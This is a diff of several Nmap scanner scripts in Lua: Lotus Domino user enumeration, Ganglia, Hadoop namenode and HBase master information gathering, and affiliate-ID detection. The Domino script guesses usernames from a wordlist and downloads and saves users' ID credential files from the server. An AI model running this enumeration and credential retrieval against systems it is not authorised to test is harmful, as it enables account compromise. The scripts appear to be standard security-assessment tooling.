socket:send( ("#UI %s,%s\n"):format(user,pass) ) socket:send( ("#UI %s,%s\n"):format(user,pass) )
socket:receive_lines(1) socket:receive_lines(1)
socket:send("#EXIT\n") socket:send("#EXIT\n")
for i=1, #cmds do for i=1, #cmds do
socket:send(cmds[i] .. "\n") socket:send(cmds[i] .. "\n")
status, result_part = readAPIBlock( socket ) status, result_part = readAPIBlock( socket )
if( status ) then if( status ) then
result_part.name = cmds[i] result_part.name = cmds[i]
table.insert( result, result_part ) table.insert( result, result_part )
else else
return " \n ERROR: " .. result_part return " \n ERROR: " .. result_part
end end
end end
socket:close() socket:close()
return stdnse.format_output( true, result ) return stdnse.format_output( true, result )
end end

View File

@@ -54,81 +54,81 @@ portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return err string containing error message if status is false -- @return err string containing error message if status is false
local function saveIDFile( filename, data ) local function saveIDFile( filename, data )
local f = io.open( filename, "w") local f = io.open( filename, "w")
if ( not(f) ) then if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename) return false, ("Failed to open file (%s)"):format(filename)
end end
if ( not(f:write( data ) ) ) then if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename) return false, ("Failed to write file (%s)"):format(filename)
end end
f:close() f:close()
return true return true
end end
action = function(host, port) action = function(host, port)
local helper = nrpc.Helper:new( host, port ) local helper = nrpc.Helper:new( host, port )
local status, data, usernames, err local status, data, usernames, err
local path = stdnse.get_script_args('domino-enum-users.path') local path = stdnse.get_script_args('domino-enum-users.path')
local result = {} local result = {}
local save_file = false local save_file = false
local counter = 0 local counter = 0
local domino_username = stdnse.get_script_args("domino-enum-users.username") local domino_username = stdnse.get_script_args("domino-enum-users.username")
if ( domino_username ) then if ( domino_username ) then
usernames = ( function() usernames = ( function()
local b = true local b = true
return function() return function()
if ( b ) then if ( b ) then
b=false; b=false;
return domino_username return domino_username
end end
end end
end )() end )()
else else
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to load usernames" return false, "Failed to load usernames"
end end
end end
for username in usernames do for username in usernames do
status = helper:connect() status = helper:connect()
if ( not(status) ) then if ( not(status) ) then
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip ) err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
break break
end end
status, data = helper:isValidUser( username ) status, data = helper:isValidUser( username )
helper:disconnect() helper:disconnect()
if ( status and data and path ) then if ( status and data and path ) then
local filename = path .. "/" .. stdnse.filename_escape(username .. ".id") local filename = path .. "/" .. stdnse.filename_escape(username .. ".id")
local status, err = saveIDFile( filename, data ) local status, err = saveIDFile( filename, data )
if ( status ) then if ( status ) then
table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) ) table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
else else
stdnse.print_debug( err ) stdnse.print_debug( err )
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) ) table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
end end
elseif( status and data ) then elseif( status and data ) then
table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) ) table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
elseif ( status ) then elseif ( status ) then
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) ) table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
end end
counter = counter + 1 counter = counter + 1
end end
if ( #result == 0 ) then if ( #result == 0 ) then
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) ) table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
end end
result = stdnse.format_output( true, result ) result = stdnse.format_output( true, result )
if ( err ) then if ( err ) then
result = result .. (" \n %s"):format(err) result = result .. (" \n %s"):format(err)
end end
return result return result
end end

View File

@@ -25,13 +25,13 @@ For more information about Ganglia, see:
-- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p <port> <target> -- nmap --script ganglia-info --script-args ganglia-info.timeout=60,ganglia-info.bytes=1000000 -p <port> <target>
-- --
-- @args ganglia-info.timeout -- @args ganglia-info.timeout
-- Set the timeout in seconds. The default value is 60. -- Set the timeout in seconds. The default value is 60.
-- This should be enough for a grid of more than 100 hosts at 200Kb/s. -- This should be enough for a grid of more than 100 hosts at 200Kb/s.
-- About 5KB-10KB of data is returned for each host in the cluster. -- About 5KB-10KB of data is returned for each host in the cluster.
-- @args ganglia-info.bytes -- @args ganglia-info.bytes
-- Set the number of bytes to retrieve. The default value is 1000000. -- Set the number of bytes to retrieve. The default value is 1000000.
-- This should be enough for a grid of more than 100 hosts. -- This should be enough for a grid of more than 100 hosts.
-- About 5KB-10KB of data is returned for each host in the cluster. -- About 5KB-10KB of data is returned for each host in the cluster.
-- --
-- @output -- @output
-- PORT STATE SERVICE VERSION -- PORT STATE SERVICE VERSION
@@ -89,63 +89,63 @@ portrule = shortport.port_or_service ({8649,8651}, "ganglia", {"tcp"})
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
-- Set timeout -- Set timeout
local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout'] local timeout = nmap.registry.args[SCRIPT_NAME .. '.timeout']
if not timeout then if not timeout then
timeout = 30 timeout = 30
else else
tonumber(timeout) tonumber(timeout)
end end
-- Set bytes -- Set bytes
local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes'] local bytes = nmap.registry.args[SCRIPT_NAME .. '.bytes']
if not bytes then if not bytes then
bytes = 1000000 bytes = 1000000
else else
tonumber(bytes) tonumber(bytes)
end end
-- Retrieve grid data in XML format over TCP -- Retrieve grid data in XML format over TCP
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes}) local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
if not status then if not status then
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout)) stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
return return
end end
-- Parse daemon info -- Parse daemon info
if not string.match(data, "<!DOCTYPE GANGLIA_XML") then if not string.match(data, "<!DOCTYPE GANGLIA_XML") then
stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: %s:%s is not a Ganglia Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') then
table.insert(result, "Service: Ganglia Monitoring Daemon") table.insert(result, "Service: Ganglia Monitoring Daemon")
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"') local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmond"')
if version then table.insert(result, string.format("Version: %s\n", version)) end if version then table.insert(result, string.format("Version: %s\n", version)) end
elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then elseif string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') then
table.insert(result, "Service: Ganglia Meta Daemon") table.insert(result, "Service: Ganglia Meta Daemon")
local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"') local version = string.match(data, '<GANGLIA_XML VERSION="([^"]*)" SOURCE="gmetad"')
if version then table.insert(result, string.format("Version: %s\n", version)) end if version then table.insert(result, string.format("Version: %s\n", version)) end
local grid = string.match(data, '<GRID NAME="([^"]*)" ') local grid = string.match(data, '<GRID NAME="([^"]*)" ')
if grid then table.insert(result, string.format("Grid Name: %s", grid)) end if grid then table.insert(result, string.format("Grid Name: %s", grid)) end
else else
stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: %s:%s did not supply Ganglia daemon details."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
end end
-- Extract cluster details and system details for each cluster in the grid -- Extract cluster details and system details for each cluster in the grid
for line in string.gmatch(data, "[^\n]+") do for line in string.gmatch(data, "[^\n]+") do
if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then if string.match(line, '<CLUSTER NAME="([^"]*)" ') and string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ') then
table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" '))) table.insert(result, string.format("Cluster Name: %s\n\tOwner: %s\n", string.match(line, '<CLUSTER NAME="([^"]*)" '), string.match(line, '<CLUSTER [^>]+ OWNER="([^"]*)" ')))
elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then elseif string.match(line, '<HOST NAME="([^"]*)" IP="([^"]*)"') then
table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"'))) table.insert(result, string.format("\tHostname: %s\n\t\tIP: %s\n", string.match(line, '<HOST NAME="([^"]*)" IP="[^"]*"'), string.match(line, '<HOST NAME="[^"]*" IP="([^"]*)"')))
elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then elseif string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"') then
table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"'))) table.insert(result, string.format("\t\t%s: %s%s", string.gsub(string.match(line, '<METRIC NAME="([^"]*)" VAL="[^"]*" [^>]+ UNITS="[^"]*"'), "_", " "), string.match(line, '<METRIC NAME="[^"]*" VAL="([^"]*)" [^>]+ UNITS="[^"]*"'), string.match(line, '<METRIC NAME="[^"]*" VAL="[^"]*" [^>]+ UNITS="([^"]*)"')))
end end
end end
-- Return results -- Return results
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -53,105 +53,105 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port) return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
get_datanodes = function( host, port, Status ) get_datanodes = function( host, port, Status )
local result = {} local result = {}
local uri = "/dfsnodelist.jsp?whatNodes=" .. Status local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" )) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
local datanode = datanodetmp:gsub("/browseDirectory.jsp","") local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode)) stdnse.print_debug(1, ("%s: Datanode %s"):format(SCRIPT_NAME,datanode))
table.insert(result, ("Datanode: %s"):format(datanode)) table.insert(result, ("Datanode: %s"):format(datanode))
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
if datanode:match("([%w%.]+)") then if datanode:match("([%w%.]+)") then
local newtarget = datanode:match("([%w%.]+)") local newtarget = datanode:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget) local status,err = target.add(newtarget)
end end
end end
end end
end end
return result return result
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local uri = "/dfshealth.jsp" local uri = "/dfshealth.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
local capacity = {} local capacity = {}
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("Started:%s*<td>([^][<]+)") then if body:match("Started:%s*<td>([^][<]+)") then
local start = body:match("Started:%s*<td>([^][<]+)") local start = body:match("Started:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start)) stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,start))
table.insert(result, ("Started: %s"):format(start)) table.insert(result, ("Started: %s"):format(start))
end end
if body:match("Version:%s*<td>([^][<]+)") then if body:match("Version:%s*<td>([^][<]+)") then
local version = body:match("Version:%s*<td>([^][<]+)") local version = body:match("Version:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version)) stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Version: %s"):format(version)) table.insert(result, ("Version: %s"):format(version))
port.version.version = version port.version.version = version
end end
if body:match("Compiled:%s*<td>([^][<]+)") then if body:match("Compiled:%s*<td>([^][<]+)") then
local compiled = body:match("Compiled:%s*<td>([^][<]+)") local compiled = body:match("Compiled:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled)) table.insert(result, ("Compiled: %s"):format(compiled))
end end
if body:match("Upgrades:%s*<td>([^][<]+)") then if body:match("Upgrades:%s*<td>([^][<]+)") then
local upgrades = body:match("Upgrades:%s*<td>([^][<]+)") local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades)) stdnse.print_debug(1, ("%s: Upgrades %s"):format(SCRIPT_NAME,upgrades))
table.insert(result, ("Upgrades: %s"):format(upgrades)) table.insert(result, ("Upgrades: %s"):format(upgrades))
end end
if body:match("([^][\"]+)\">Browse") then if body:match("([^][\"]+)\">Browse") then
local filesystem = body:match("([^][\"]+)\">Browse") local filesystem = body:match("([^][\"]+)\">Browse")
stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem)) stdnse.print_debug(1, ("%s: Filesystem %s"):format(SCRIPT_NAME,filesystem))
table.insert(result, ("Filesystem: %s"):format(filesystem)) table.insert(result, ("Filesystem: %s"):format(filesystem))
end end
if body:match("([^][\"]+)\">Namenode") then if body:match("([^][\"]+)\">Namenode") then
local logs = body:match("([^][\"]+)\">Namenode") local logs = body:match("([^][\"]+)\">Namenode")
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs)) stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
table.insert(result, ("Logs: %s"):format(logs)) table.insert(result, ("Logs: %s"):format(logs))
end end
for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
table.insert(capacity,i) table.insert(capacity,i)
end end
if #capacity >= 6 then if #capacity >= 6 then
stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3])) stdnse.print_debug(1, ("%s: Total %s"):format(SCRIPT_NAME,capacity[3]))
stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5])) stdnse.print_debug(1, ("%s: Used DFS (NonDFS) %s (%s)"):format(SCRIPT_NAME,capacity[4],capacity[5]))
stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6])) stdnse.print_debug(1, ("%s: Remaining %s"):format(SCRIPT_NAME,capacity[6]))
table.insert(result,"Storage:") table.insert(result,"Storage:")
table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining") table.insert(result,"Total\tUsed (DFS)\tUsed (Non DFS)\tRemaining")
table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6])) table.insert(result, ("%s\t%s\t%s\t%s"):format(capacity[3],capacity[4],capacity[5],capacity[6]))
end end
local datanodes_live = get_datanodes(host,port, "LIVE") local datanodes_live = get_datanodes(host,port, "LIVE")
if next(datanodes_live) then if next(datanodes_live) then
table.insert(result, "Datanodes (Live): ") table.insert(result, "Datanodes (Live): ")
table.insert(result, datanodes_live) table.insert(result, datanodes_live)
end end
local datanodes_dead = get_datanodes(host,port, "DEAD") local datanodes_dead = get_datanodes(host,port, "DEAD")
if next(datanodes_dead) then if next(datanodes_dead) then
table.insert(result, "Datanodes (Dead): ") table.insert(result, "Datanodes (Dead): ")
table.insert(result, datanodes_dead) table.insert(result, datanodes_dead)
end end
if #result > 0 then if #result > 0 then
port.version.name = "hadoop-namenode" port.version.name = "hadoop-namenode"
port.version.product = "Apache Hadoop" port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -50,90 +50,90 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service ({60010}, "hbase-master")(host, port) return shortport.port_or_service ({60010}, "hbase-master")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local region_servers = {} local region_servers = {}
local uri = "/master.jsp" local uri = "/master.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("HBase%s+Version</td><td>([^][<]+)") then if body:match("HBase%s+Version</td><td>([^][<]+)") then
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ") local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version)) stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Hbase Version: %s"):format(version)) table.insert(result, ("Hbase Version: %s"):format(version))
port.version.version = version port.version.version = version
end end
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ") local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Hbase Compiled: %s"):format(compiled)) table.insert(result, ("Hbase Compiled: %s"):format(compiled))
end end
if body:match("Directory</td><td>([^][<]+)") then if body:match("Directory</td><td>([^][<]+)") then
local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ") local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: HBase RootDirectory %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("HBase Root Directory: %s"):format(compiled)) table.insert(result, ("HBase Root Directory: %s"):format(compiled))
end end
if body:match("Hadoop%s+Version</td><td>([^][<]+)") then if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ") local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version)) stdnse.print_debug(1, ("%s: Hadoop Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Hadoop Version: %s"):format(version)) table.insert(result, ("Hadoop Version: %s"):format(version))
end end
if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ") local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Hadoop Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Hadoop Compiled: %s"):format(compiled)) table.insert(result, ("Hadoop Compiled: %s"):format(compiled))
end end
if body:match("average</td><td>([^][<]+)") then if body:match("average</td><td>([^][<]+)") then
local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ") local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average)) stdnse.print_debug(1, ("%s: Average Load %s"):format(SCRIPT_NAME,average))
table.insert(result, ("Average Load: %s"):format(average)) table.insert(result, ("Average Load: %s"):format(average))
end end
if body:match("Quorum</td><td>([^][<]+)") then if body:match("Quorum</td><td>([^][<]+)") then
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ") local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum)) stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum)) table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
if quorum:match("([%w%.]+)") then if quorum:match("([%w%.]+)") then
local newtarget = quorum:match("([%w%.]+)") local newtarget = quorum:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget) local status,err = target.add(newtarget)
end end
end end
end end
for line in string.gmatch(body, "[^\n]+") do for line in string.gmatch(body, "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("maxHeap") then if line:match("maxHeap") then
local region_server= line:match("\">([^][<]+)</a>") local region_server= line:match("\">([^][<]+)</a>")
stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server)) stdnse.print_debug(1, ("%s: Region Server %s"):format(SCRIPT_NAME,region_server))
table.insert(region_servers, region_server) table.insert(region_servers, region_server)
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
if region_server:match("([%w%.]+)") then if region_server:match("([%w%.]+)") then
local newtarget = region_server:match("([%w%.]+)") local newtarget = region_server:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget) local status,err = target.add(newtarget)
end end
end end
end end
end end
if next(region_servers) then if next(region_servers) then
table.insert(result,"Region Servers:") table.insert(result,"Region Servers:")
table.insert(result,region_servers) table.insert(result,region_servers)
end end
if #result > 0 then if #result > 0 then
port.version.name = "hbase-master" port.version.name = "hbase-master"
port.version.product = "Apache Hadoop Hbase" port.version.product = "Apache Hadoop Hbase"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -51,9 +51,9 @@ categories = {"safe", "discovery"}
-- these are the regular expressions for affiliate IDs -- these are the regular expressions for affiliate IDs
local AFFILIATE_PATTERNS = { local AFFILIATE_PATTERNS = {
["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})", ["Google Analytics ID"] = "(?P<id>UA-[0-9]{6,9}-[0-9]{1,2})",
["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})", ["Google Adsense ID"] = "(?P<id>pub-[0-9]{16,16})",
["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)", ["Amazon Associates ID"] = "http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P<id>\\w+-\\d+)",
} }
portrule = shortport.http portrule = shortport.http
@@ -65,76 +65,76 @@ postrule = function() return (nmap.registry["http-affiliate-id"] ~= nil) end
--@param port nmap port table --@param port nmap port table
--@param affid affiliate id table --@param affid affiliate id table
local add_key_to_registry = function(host, port, path, affid) local add_key_to_registry = function(host, port, path, affid)
local site = host.targetname or host.ip local site = host.targetname or host.ip
site = site .. ":" .. port.number .. path site = site .. ":" .. port.number .. path
nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {} nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {}
nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {} nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {}
table.insert(nmap.registry["http-affiliate-id"][site], affid) table.insert(nmap.registry["http-affiliate-id"][site], affid)
end end
portaction = function(host, port) portaction = function(host, port)
local result = {} local result = {}
local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/" local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/"
local body = http.get(host, port, url_path).body local body = http.get(host, port, url_path).body
if ( not(body) ) then if ( not(body) ) then
return return
end end
-- Here goes affiliate matching -- Here goes affiliate matching
for name, re in pairs(AFFILIATE_PATTERNS) do for name, re in pairs(AFFILIATE_PATTERNS) do
